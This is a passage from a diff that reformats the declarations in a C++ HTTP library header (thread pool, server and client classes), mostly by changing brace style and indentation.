ThreadPool(size_t n) : shutdown_(false) { - while (n) { - threads_.emplace_back(worker(*this)); - n--; - } - } - - ThreadPool(const ThreadPool &) = delete; - ~ThreadPool() override = default; - - void enqueue(std::function fn) override { + Response() = default; + Response(const Response &) = default; + Response &operator=(const Response &) = default; + Response(Response &&) = default; + Response &operator=(Response &&) = default; + ~Response() { - std::unique_lock lock(mutex_); - jobs_.push_back(std::move(fn)); + if (content_provider_resource_releaser_) { + content_provider_resource_releaser_(content_provider_success_); + } } - cond_.notify_one(); - } + // private members... + size_t content_length_ = 0; + ContentProvider content_provider_; + ContentProviderResourceReleaser content_provider_resource_releaser_; + bool is_chunked_content_provider_ = false; + bool content_provider_success_ = false; +}; - void shutdown() override { - // Stop all worker threads... +class Stream +{ +public: + virtual ~Stream() = default; + + virtual bool is_readable() const = 0; + virtual bool is_writable() const = 0; + + virtual ssize_t read(char *ptr, size_t size) = 0; + virtual ssize_t write(const char *ptr, size_t size) = 0; + virtual void get_remote_ip_and_port(std::string &ip, int &port) const = 0; + virtual void get_local_ip_and_port(std::string &ip, int &port) const = 0; + virtual socket_t socket() const = 0; + + template + ssize_t write_format(const char *fmt, const Args &...args); + ssize_t write(const char *ptr); + ssize_t write(const std::string &s); +}; + +class TaskQueue +{ +public: + TaskQueue() = default; + virtual ~TaskQueue() = default; + + virtual void enqueue(std::function fn) = 0; + virtual void shutdown() = 0; + + virtual void on_idle() {} +}; + +class ThreadPool : public TaskQueue +{ +public: + explicit ThreadPool(size_t n) : shutdown_(false) { - std::unique_lock lock(mutex_); - shutdown_ = true; + while (n) { + threads_.emplace_back(worker(*this)); + n--; + } } - cond_.notify_all(); + ThreadPool(const ThreadPool &) = delete; + ~ThreadPool() override = default; - // Join... - for (auto &t : threads_) { - t.join(); - } - } - -private: - struct worker { - explicit worker(ThreadPool &pool) : pool_(pool) {} - - void operator()() { - for (;;) { - std::function fn; + void enqueue(std::function fn) override + { { - std::unique_lock lock(pool_.mutex_); - - pool_.cond_.wait( - lock, [&] { return !pool_.jobs_.empty() || pool_.shutdown_; }); - - if (pool_.shutdown_ && pool_.jobs_.empty()) { break; } - - fn = std::move(pool_.jobs_.front()); - pool_.jobs_.pop_front(); + std::unique_lock lock(mutex_); + jobs_.push_back(std::move(fn)); } - assert(true == static_cast(fn)); - fn(); - } + cond_.notify_one(); } - ThreadPool &pool_; - }; - friend struct worker; + void shutdown() override + { + // Stop all worker threads... + { + std::unique_lock lock(mutex_); + shutdown_ = true; + } - std::vector threads_; - std::list> jobs_; + cond_.notify_all(); - bool shutdown_; + // Join... + for (auto &t : threads_) { + t.join(); + } + } - std::condition_variable cond_; - std::mutex mutex_; +private: + struct worker { + explicit worker(ThreadPool &pool) : pool_(pool) {} + + void operator()() + { + for (;;) { + std::function fn; + { + std::unique_lock lock(pool_.mutex_); + + pool_.cond_.wait( + lock, [&] { return !pool_.jobs_.empty() || pool_.shutdown_; }); + + if (pool_.shutdown_ && pool_.jobs_.empty()) { + break; + } + + fn = std::move(pool_.jobs_.front()); + pool_.jobs_.pop_front(); + } + + assert(true == static_cast(fn)); + fn(); + } + } + + ThreadPool &pool_; + }; + friend struct worker; + + std::vector threads_; + std::list> jobs_; + + bool shutdown_; + + std::condition_variable cond_; + std::mutex mutex_; }; using Logger = std::function; @@ -744,14 +772,16 @@ void default_socket_options(socket_t sock); const char *status_message(int status); -namespace detail { +namespace detail +{ -class MatcherBase { +class MatcherBase +{ public: - virtual ~MatcherBase() = default; + virtual ~MatcherBase() = default; - // Match request path and populate its matches and - virtual bool match(Request &request) const = 0; + // Match request path and populate its matches and + virtual bool match(Request &request) const = 0; }; /** @@ -772,26 +802,27 @@ public: * the resulting capture will be * {{"capture", "1"}, {"second_capture", "2"}} */ -class PathParamsMatcher : public MatcherBase { +class PathParamsMatcher : public MatcherBase +{ public: - PathParamsMatcher(const std::string &pattern); + PathParamsMatcher(const std::string &pattern); - bool match(Request &request) const override; + bool match(Request &request) const override; private: - static constexpr char marker = ':'; - // Treat segment separators as the end of path parameter capture - // Does not need to handle query parameters as they are parsed before path - // matching - static constexpr char separator = '/'; + static constexpr char marker = ':'; + // Treat segment separators as the end of path parameter capture + // Does not need to handle query parameters as they are parsed before path + // matching + static constexpr char separator = '/'; - // Contains static path fragments to match against, excluding the '/' after - // path params - // Fragments are separated by path params - std::vector static_fragments_; - // Stores the names of the path parameters to be used as keys in the - // Request::path_params map - std::vector param_names_; + // Contains static path fragments to match against, excluding the '/' after + // path params + // Fragments are separated by path params + std::vector static_fragments_; + // Stores the names of the path parameters to be used as keys in the + // Request::path_params map + std::vector param_names_; }; /** @@ -802,986 +833,1026 @@ private: * This means that wildcard patterns may match multiple path segments with /: * "/begin/(.*)/end" will match both "/begin/middle/end" and "/begin/1/2/end". */ -class RegexMatcher : public MatcherBase { +class RegexMatcher : public MatcherBase +{ public: - RegexMatcher(const std::string &pattern) : regex_(pattern) {} + RegexMatcher(const std::string &pattern) : regex_(pattern) {} - bool match(Request &request) const override; + bool match(Request &request) const override; private: - std::regex regex_; + std::regex regex_; }; ssize_t write_headers(Stream &strm, const Headers &headers); } // namespace detail -class Server { +class Server +{ public: - using Handler = std::function; + using Handler = std::function; - using ExceptionHandler = - std::function; + using ExceptionHandler = + std::function; - enum class HandlerResponse { - Handled, - Unhandled, - }; - using HandlerWithResponse = - std::function; + enum class HandlerResponse { + Handled, + Unhandled, + }; + using HandlerWithResponse = + std::function; - using HandlerWithContentReader = std::function; + using HandlerWithContentReader = std::function; - using Expect100ContinueHandler = - std::function; + using Expect100ContinueHandler = + std::function; - Server(); + Server(); - virtual ~Server(); + virtual ~Server(); - virtual bool is_valid() const; + virtual bool is_valid() const; - Server &Get(const std::string &pattern, Handler handler); - Server &Post(const std::string &pattern, Handler handler); - Server &Post(const std::string &pattern, HandlerWithContentReader handler); - Server &Put(const std::string &pattern, Handler handler); - Server &Put(const std::string &pattern, HandlerWithContentReader handler); - Server &Patch(const std::string &pattern, Handler handler); - Server &Patch(const std::string &pattern, HandlerWithContentReader handler); - Server &Delete(const std::string &pattern, Handler handler); - Server &Delete(const std::string &pattern, HandlerWithContentReader handler); - Server &Options(const std::string &pattern, Handler handler); + Server &Get(const std::string &pattern, Handler handler); + Server &Post(const std::string &pattern, Handler handler); + Server &Post(const std::string &pattern, HandlerWithContentReader handler); + Server &Put(const std::string &pattern, Handler handler); + Server &Put(const std::string &pattern, HandlerWithContentReader handler); + Server &Patch(const std::string &pattern, Handler handler); + Server &Patch(const std::string &pattern, HandlerWithContentReader handler); + Server &Delete(const std::string &pattern, Handler handler); + Server &Delete(const std::string &pattern, HandlerWithContentReader handler); + Server &Options(const std::string &pattern, Handler handler); - bool set_base_dir(const std::string &dir, - const std::string &mount_point = std::string()); - bool set_mount_point(const std::string &mount_point, const std::string &dir, - Headers headers = Headers()); - bool remove_mount_point(const std::string &mount_point); - Server &set_file_extension_and_mimetype_mapping(const std::string &ext, - const std::string &mime); - Server &set_default_file_mimetype(const std::string &mime); - Server &set_file_request_handler(Handler handler); + bool set_base_dir(const std::string &dir, + const std::string &mount_point = std::string()); + bool set_mount_point(const std::string &mount_point, const std::string &dir, + Headers headers = Headers()); + bool remove_mount_point(const std::string &mount_point); + Server &set_file_extension_and_mimetype_mapping(const std::string &ext, + const std::string &mime); + Server &set_default_file_mimetype(const std::string &mime); + Server &set_file_request_handler(Handler handler); - Server &set_error_handler(HandlerWithResponse handler); - Server &set_error_handler(Handler handler); - Server &set_exception_handler(ExceptionHandler handler); - Server &set_pre_routing_handler(HandlerWithResponse handler); - Server &set_post_routing_handler(Handler handler); + Server &set_error_handler(HandlerWithResponse handler); + Server &set_error_handler(Handler handler); + Server &set_exception_handler(ExceptionHandler handler); + Server &set_pre_routing_handler(HandlerWithResponse handler); + Server &set_post_routing_handler(Handler handler); - Server &set_expect_100_continue_handler(Expect100ContinueHandler handler); - Server &set_logger(Logger logger); + Server &set_expect_100_continue_handler(Expect100ContinueHandler handler); + Server &set_logger(Logger logger); - Server &set_address_family(int family); - Server &set_tcp_nodelay(bool on); - Server &set_socket_options(SocketOptions socket_options); + Server &set_address_family(int family); + Server &set_tcp_nodelay(bool on); + Server &set_socket_options(SocketOptions socket_options); - Server &set_default_headers(Headers headers); - Server & - set_header_writer(std::function const &writer); + Server &set_default_headers(Headers headers); + Server & + set_header_writer(std::function const &writer); - Server &set_keep_alive_max_count(size_t count); - Server &set_keep_alive_timeout(time_t sec); + Server &set_keep_alive_max_count(size_t count); + Server &set_keep_alive_timeout(time_t sec); - Server &set_read_timeout(time_t sec, time_t usec = 0); - template - Server &set_read_timeout(const std::chrono::duration &duration); + Server &set_read_timeout(time_t sec, time_t usec = 0); + template + Server &set_read_timeout(const std::chrono::duration &duration); - Server &set_write_timeout(time_t sec, time_t usec = 0); - template - Server &set_write_timeout(const std::chrono::duration &duration); + Server &set_write_timeout(time_t sec, time_t usec = 0); + template + Server &set_write_timeout(const std::chrono::duration &duration); - Server &set_idle_interval(time_t sec, time_t usec = 0); - template - Server &set_idle_interval(const std::chrono::duration &duration); + Server &set_idle_interval(time_t sec, time_t usec = 0); + template + Server &set_idle_interval(const std::chrono::duration &duration); - Server &set_payload_max_length(size_t length); + Server &set_payload_max_length(size_t length); - bool bind_to_port(const std::string &host, int port, int socket_flags = 0); - int bind_to_any_port(const std::string &host, int socket_flags = 0); - bool listen_after_bind(); + bool bind_to_port(const std::string &host, int port, int socket_flags = 0); + int bind_to_any_port(const std::string &host, int socket_flags = 0); + bool listen_after_bind(); - bool listen(const std::string &host, int port, int socket_flags = 0); + bool listen(const std::string &host, int port, int socket_flags = 0); - bool is_running() const; - void wait_until_ready() const; - void stop(); + bool is_running() const; + void wait_until_ready() const; + void stop(); - std::function new_task_queue; + std::function new_task_queue; protected: - bool process_request(Stream &strm, bool close_connection, - bool &connection_closed, - const std::function &setup_request); + bool process_request(Stream &strm, bool close_connection, + bool &connection_closed, + const std::function &setup_request); - std::atomic svr_sock_{INVALID_SOCKET}; - size_t keep_alive_max_count_ = CPPHTTPLIB_KEEPALIVE_MAX_COUNT; - time_t keep_alive_timeout_sec_ = CPPHTTPLIB_KEEPALIVE_TIMEOUT_SECOND; - time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND; - time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND; - time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND; - time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND; - time_t idle_interval_sec_ = CPPHTTPLIB_IDLE_INTERVAL_SECOND; - time_t idle_interval_usec_ = CPPHTTPLIB_IDLE_INTERVAL_USECOND; - size_t payload_max_length_ = CPPHTTPLIB_PAYLOAD_MAX_LENGTH; + std::atomic svr_sock_{INVALID_SOCKET}; + size_t keep_alive_max_count_ = CPPHTTPLIB_KEEPALIVE_MAX_COUNT; + time_t keep_alive_timeout_sec_ = CPPHTTPLIB_KEEPALIVE_TIMEOUT_SECOND; + time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND; + time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND; + time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND; + time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND; + time_t idle_interval_sec_ = CPPHTTPLIB_IDLE_INTERVAL_SECOND; + time_t idle_interval_usec_ = CPPHTTPLIB_IDLE_INTERVAL_USECOND; + size_t payload_max_length_ = CPPHTTPLIB_PAYLOAD_MAX_LENGTH; private: - using Handlers = - std::vector, Handler>>; - using HandlersForContentReader = - std::vector, - HandlerWithContentReader>>; + using Handlers = + std::vector, Handler>>; + using HandlersForContentReader = + std::vector, + HandlerWithContentReader>>; - static std::unique_ptr - make_matcher(const std::string &pattern); + static std::unique_ptr + make_matcher(const std::string &pattern); - socket_t create_server_socket(const std::string &host, int port, - int socket_flags, - SocketOptions socket_options) const; - int bind_internal(const std::string &host, int port, int socket_flags); - bool listen_internal(); + socket_t create_server_socket(const std::string &host, int port, + int socket_flags, + SocketOptions socket_options) const; + int bind_internal(const std::string &host, int port, int socket_flags); + bool listen_internal(); - bool routing(Request &req, Response &res, Stream &strm); - bool handle_file_request(const Request &req, Response &res, - bool head = false); - bool dispatch_request(Request &req, Response &res, - const Handlers &handlers) const; - bool dispatch_request_for_content_reader( - Request &req, Response &res, ContentReader content_reader, - const HandlersForContentReader &handlers) const; + bool routing(Request &req, Response &res, Stream &strm); + bool handle_file_request(const Request &req, Response &res, + bool head = false); + bool dispatch_request(Request &req, Response &res, + const Handlers &handlers) const; + bool dispatch_request_for_content_reader( + Request &req, Response &res, ContentReader content_reader, + const HandlersForContentReader &handlers) const; - bool parse_request_line(const char *s, Request &req) const; - void apply_ranges(const Request &req, Response &res, - std::string &content_type, std::string &boundary) const; - bool write_response(Stream &strm, bool close_connection, const Request &req, - Response &res); - bool write_response_with_content(Stream &strm, bool close_connection, - const Request &req, Response &res); - bool write_response_core(Stream &strm, bool close_connection, - const Request &req, Response &res, - bool need_apply_ranges); - bool write_content_with_provider(Stream &strm, const Request &req, - Response &res, const std::string &boundary, - const std::string &content_type); - bool read_content(Stream &strm, Request &req, Response &res); - bool - read_content_with_content_receiver(Stream &strm, Request &req, Response &res, - ContentReceiver receiver, - MultipartContentHeader multipart_header, - ContentReceiver multipart_receiver); - bool read_content_core(Stream &strm, Request &req, Response &res, - ContentReceiver receiver, - MultipartContentHeader multipart_header, - ContentReceiver multipart_receiver) const; + bool parse_request_line(const char *s, Request &req) const; + void apply_ranges(const Request &req, Response &res, + std::string &content_type, std::string &boundary) const; + bool write_response(Stream &strm, bool close_connection, const Request &req, + Response &res); + bool write_response_with_content(Stream &strm, bool close_connection, + const Request &req, Response &res); + bool write_response_core(Stream &strm, bool close_connection, + const Request &req, Response &res, + bool need_apply_ranges); + bool write_content_with_provider(Stream &strm, const Request &req, + Response &res, const std::string &boundary, + const std::string &content_type); + bool read_content(Stream &strm, Request &req, Response &res); + bool + read_content_with_content_receiver(Stream &strm, Request &req, Response &res, + ContentReceiver receiver, + MultipartContentHeader multipart_header, + ContentReceiver multipart_receiver); + bool read_content_core(Stream &strm, Request &req, Response &res, + ContentReceiver receiver, + MultipartContentHeader multipart_header, + ContentReceiver multipart_receiver) const; - virtual bool process_and_close_socket(socket_t sock); + virtual bool process_and_close_socket(socket_t sock); - std::atomic is_running_{false}; - std::atomic done_{false}; + std::atomic is_running_{false}; + std::atomic done_{false}; - struct MountPointEntry { - std::string mount_point; - std::string base_dir; - Headers headers; - }; - std::vector base_dirs_; - std::map file_extension_and_mimetype_map_; - std::string default_file_mimetype_ = "application/octet-stream"; - Handler file_request_handler_; + struct MountPointEntry { + std::string mount_point; + std::string base_dir; + Headers headers; + }; + std::vector base_dirs_; + std::map file_extension_and_mimetype_map_; + std::string default_file_mimetype_ = "application/octet-stream"; + Handler file_request_handler_; - Handlers get_handlers_; - Handlers post_handlers_; - HandlersForContentReader post_handlers_for_content_reader_; - Handlers put_handlers_; - HandlersForContentReader put_handlers_for_content_reader_; - Handlers patch_handlers_; - HandlersForContentReader patch_handlers_for_content_reader_; - Handlers delete_handlers_; - HandlersForContentReader delete_handlers_for_content_reader_; - Handlers options_handlers_; + Handlers get_handlers_; + Handlers post_handlers_; + HandlersForContentReader post_handlers_for_content_reader_; + Handlers put_handlers_; + HandlersForContentReader put_handlers_for_content_reader_; + Handlers patch_handlers_; + HandlersForContentReader patch_handlers_for_content_reader_; + Handlers delete_handlers_; + HandlersForContentReader delete_handlers_for_content_reader_; + Handlers options_handlers_; - HandlerWithResponse error_handler_; - ExceptionHandler exception_handler_; - HandlerWithResponse pre_routing_handler_; - Handler post_routing_handler_; - Expect100ContinueHandler expect_100_continue_handler_; + HandlerWithResponse error_handler_; + ExceptionHandler exception_handler_; + HandlerWithResponse pre_routing_handler_; + Handler post_routing_handler_; + Expect100ContinueHandler expect_100_continue_handler_; - Logger logger_; + Logger logger_; - int address_family_ = AF_UNSPEC; - bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY; - SocketOptions socket_options_ = default_socket_options; + int address_family_ = AF_UNSPEC; + bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY; + SocketOptions socket_options_ = default_socket_options; - Headers default_headers_; - std::function header_writer_ = - detail::write_headers; + Headers default_headers_; + std::function header_writer_ = + detail::write_headers; }; enum class Error { - Success = 0, - Unknown, - Connection, - BindIPAddress, - Read, - Write, - ExceedRedirectCount, - Canceled, - SSLConnection, - SSLLoadingCerts, - SSLServerVerification, - UnsupportedMultipartBoundaryChars, - Compression, - ConnectionTimeout, - ProxyConnection, + Success = 0, + Unknown, + Connection, + BindIPAddress, + Read, + Write, + ExceedRedirectCount, + Canceled, + SSLConnection, + SSLLoadingCerts, + SSLServerVerification, + UnsupportedMultipartBoundaryChars, + Compression, + ConnectionTimeout, + ProxyConnection, - // For internal use only - SSLPeerCouldBeClosed_, + // For internal use only + SSLPeerCouldBeClosed_, }; std::string to_string(Error error); std::ostream &operator<<(std::ostream &os, const Error &obj); -class Result { +class Result +{ public: - Result() = default; - Result(std::unique_ptr &&res, Error err, - Headers &&request_headers = Headers{}) - : res_(std::move(res)), err_(err), - request_headers_(std::move(request_headers)) {} - // Response - operator bool() const { return res_ != nullptr; } - bool operator==(std::nullptr_t) const { return res_ == nullptr; } - bool operator!=(std::nullptr_t) const { return res_ != nullptr; } - const Response &value() const { return *res_; } - Response &value() { return *res_; } - const Response &operator*() const { return *res_; } - Response &operator*() { return *res_; } - const Response *operator->() const { return res_.get(); } - Response *operator->() { return res_.get(); } + Result() = default; + Result(std::unique_ptr &&res, Error err, + Headers &&request_headers = Headers{}) + : res_(std::move(res)), err_(err), + request_headers_(std::move(request_headers)) {} + // Response + operator bool() const + { + return res_ != nullptr; + } + bool operator==(std::nullptr_t) const + { + return res_ == nullptr; + } + bool operator!=(std::nullptr_t) const + { + return res_ != nullptr; + } + const Response &value() const + { + return *res_; + } + Response &value() + { + return *res_; + } + const Response &operator*() const + { + return *res_; + } + Response &operator*() + { + return *res_; + } + const Response *operator->() const + { + return res_.get(); + } + Response *operator->() + { + return res_.get(); + } - // Error - Error error() const { return err_; } + // Error + Error error() const + { + return err_; + } - // Request Headers - bool has_request_header(const std::string &key) const; - std::string get_request_header_value(const std::string &key, - size_t id = 0) const; - uint64_t get_request_header_value_u64(const std::string &key, - size_t id = 0) const; - size_t get_request_header_value_count(const std::string &key) const; + // Request Headers + bool has_request_header(const std::string &key) const; + std::string get_request_header_value(const std::string &key, + size_t id = 0) const; + uint64_t get_request_header_value_u64(const std::string &key, + size_t id = 0) const; + size_t get_request_header_value_count(const std::string &key) const; private: - std::unique_ptr res_; - Error err_ = Error::Unknown; - Headers request_headers_; + std::unique_ptr res_; + Error err_ = Error::Unknown; + Headers request_headers_; }; -class ClientImpl { +class ClientImpl +{ public: - explicit ClientImpl(const std::string &host); + explicit ClientImpl(const std::string &host); - explicit ClientImpl(const std::string &host, int port); + explicit ClientImpl(const std::string &host, int port); - explicit ClientImpl(const std::string &host, int port, - const std::string &client_cert_path, - const std::string &client_key_path); + explicit ClientImpl(const std::string &host, int port, + const std::string &client_cert_path, + const std::string &client_key_path); - virtual ~ClientImpl(); + virtual ~ClientImpl(); - virtual bool is_valid() const; + virtual bool is_valid() const; - Result Get(const std::string &path); - Result Get(const std::string &path, const Headers &headers); - Result Get(const std::string &path, Progress progress); - Result Get(const std::string &path, const Headers &headers, - Progress progress); - Result Get(const std::string &path, ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver); - Result Get(const std::string &path, ContentReceiver content_receiver, - Progress progress); - Result Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver, Progress progress); - Result Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ResponseHandler response_handler, - ContentReceiver content_receiver); - Result Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress); - Result Get(const std::string &path, const Headers &headers, - ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress); + Result Get(const std::string &path); + Result Get(const std::string &path, const Headers &headers); + Result Get(const std::string &path, Progress progress); + Result Get(const std::string &path, const Headers &headers, + Progress progress); + Result Get(const std::string &path, ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ContentReceiver content_receiver); + Result Get(const std::string &path, ContentReceiver content_receiver, + Progress progress); + Result Get(const std::string &path, const Headers &headers, + ContentReceiver content_receiver, Progress progress); + Result Get(const std::string &path, ResponseHandler response_handler, + ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ResponseHandler response_handler, + ContentReceiver content_receiver); + Result Get(const std::string &path, ResponseHandler response_handler, + ContentReceiver content_receiver, Progress progress); + Result Get(const std::string &path, const Headers &headers, + ResponseHandler response_handler, ContentReceiver content_receiver, + Progress progress); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, Progress progress = nullptr); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, ContentReceiver content_receiver, - Progress progress = nullptr); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, ContentReceiver content_receiver, + Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, ResponseHandler response_handler, + ContentReceiver content_receiver, Progress progress = nullptr); - Result Head(const std::string &path); - Result Head(const std::string &path, const Headers &headers); + Result Head(const std::string &path); + Result Head(const std::string &path, const Headers &headers); - Result Post(const std::string &path); - Result Post(const std::string &path, const Headers &headers); - Result Post(const std::string &path, const char *body, size_t content_length, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, const char *body, - size_t content_length, const std::string &content_type); - Result Post(const std::string &path, const std::string &body, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); - Result Post(const std::string &path, size_t content_length, - ContentProvider content_provider, - const std::string &content_type); - Result Post(const std::string &path, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - size_t content_length, ContentProvider content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Params ¶ms); - Result Post(const std::string &path, const Headers &headers, - const Params ¶ms); - Result Post(const std::string &path, const MultipartFormDataItems &items); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, const std::string &boundary); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items); + Result Post(const std::string &path); + Result Post(const std::string &path, const Headers &headers); + Result Post(const std::string &path, const char *body, size_t content_length, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, const char *body, + size_t content_length, const std::string &content_type); + Result Post(const std::string &path, const std::string &body, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); + Result Post(const std::string &path, size_t content_length, + ContentProvider content_provider, + const std::string &content_type); + Result Post(const std::string &path, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + size_t content_length, ContentProvider content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Params ¶ms); + Result Post(const std::string &path, const Headers &headers, + const Params ¶ms); + Result Post(const std::string &path, const MultipartFormDataItems &items); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, const std::string &boundary); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items); - Result Put(const std::string &path); - Result Put(const std::string &path, const char *body, size_t content_length, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, const char *body, - size_t content_length, const std::string &content_type); - Result Put(const std::string &path, const std::string &body, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); - Result Put(const std::string &path, size_t content_length, - ContentProvider content_provider, const std::string &content_type); - Result Put(const std::string &path, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - size_t content_length, ContentProvider content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Params ¶ms); - Result Put(const std::string &path, const Headers &headers, - const Params ¶ms); - Result Put(const std::string &path, const MultipartFormDataItems &items); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, const std::string &boundary); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items); - - Result Patch(const std::string &path); - Result Patch(const std::string &path, const char *body, size_t content_length, + Result Put(const std::string &path); + Result Put(const std::string &path, const char *body, size_t content_length, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, - const char *body, size_t content_length, + Result Put(const std::string &path, const Headers &headers, const char *body, + size_t content_length, const std::string &content_type); + Result Put(const std::string &path, const std::string &body, const std::string &content_type); - Result Patch(const std::string &path, const std::string &body, - const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, const std::string &body, const std::string &content_type); - Result Patch(const std::string &path, size_t content_length, - ContentProvider content_provider, - const std::string &content_type); - Result Patch(const std::string &path, + Result Put(const std::string &path, size_t content_length, + ContentProvider content_provider, const std::string &content_type); + Result Put(const std::string &path, ContentProviderWithoutLength content_provider, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, const std::string &content_type); + Result Put(const std::string &path, const Params ¶ms); + Result Put(const std::string &path, const Headers &headers, + const Params ¶ms); + Result Put(const std::string &path, const MultipartFormDataItems &items); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, const std::string &boundary); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items); - Result Delete(const std::string &path); - Result Delete(const std::string &path, const Headers &headers); - Result Delete(const std::string &path, const char *body, - size_t content_length, const std::string &content_type); - Result Delete(const std::string &path, const Headers &headers, - const char *body, size_t content_length, - const std::string &content_type); - Result Delete(const std::string &path, const std::string &body, - const std::string &content_type); - Result Delete(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); + Result Patch(const std::string &path); + Result Patch(const std::string &path, const char *body, size_t content_length, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + const char *body, size_t content_length, + const std::string &content_type); + Result Patch(const std::string &path, const std::string &body, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); + Result Patch(const std::string &path, size_t content_length, + ContentProvider content_provider, + const std::string &content_type); + Result Patch(const std::string &path, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + size_t content_length, ContentProvider content_provider, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + ContentProviderWithoutLength content_provider, + const std::string &content_type); - Result Options(const std::string &path); - Result Options(const std::string &path, const Headers &headers); + Result Delete(const std::string &path); + Result Delete(const std::string &path, const Headers &headers); + Result Delete(const std::string &path, const char *body, + size_t content_length, const std::string &content_type); + Result Delete(const std::string &path, const Headers &headers, + const char *body, size_t content_length, + const std::string &content_type); + Result Delete(const std::string &path, const std::string &body, + const std::string &content_type); + Result Delete(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); - bool send(Request &req, Response &res, Error &error); - Result send(const Request &req); + Result Options(const std::string &path); + Result Options(const std::string &path, const Headers &headers); - void stop(); + bool send(Request &req, Response &res, Error &error); + Result send(const Request &req); - std::string host() const; - int port() const; + void stop(); - size_t is_socket_open() const; - socket_t socket() const; + std::string host() const; + int port() const; - void set_hostname_addr_map(std::map addr_map); + size_t is_socket_open() const; + socket_t socket() const; - void set_default_headers(Headers headers); + void set_hostname_addr_map(std::map addr_map); - void - set_header_writer(std::function const &writer); + void set_default_headers(Headers headers); - void set_address_family(int family); - void set_tcp_nodelay(bool on); - void set_socket_options(SocketOptions socket_options); + void + set_header_writer(std::function const &writer); - void set_connection_timeout(time_t sec, time_t usec = 0); - template - void - set_connection_timeout(const std::chrono::duration &duration); + void set_address_family(int family); + void set_tcp_nodelay(bool on); + void set_socket_options(SocketOptions socket_options); - void set_read_timeout(time_t sec, time_t usec = 0); - template - void set_read_timeout(const std::chrono::duration &duration); + void set_connection_timeout(time_t sec, time_t usec = 0); + template + void + set_connection_timeout(const std::chrono::duration &duration); - void set_write_timeout(time_t sec, time_t usec = 0); - template - void set_write_timeout(const std::chrono::duration &duration); + void set_read_timeout(time_t sec, time_t usec = 0); + template + void set_read_timeout(const std::chrono::duration &duration); - void set_basic_auth(const std::string &username, const std::string &password); - void set_bearer_token_auth(const std::string &token); + void set_write_timeout(time_t sec, time_t usec = 0); + template + void set_write_timeout(const 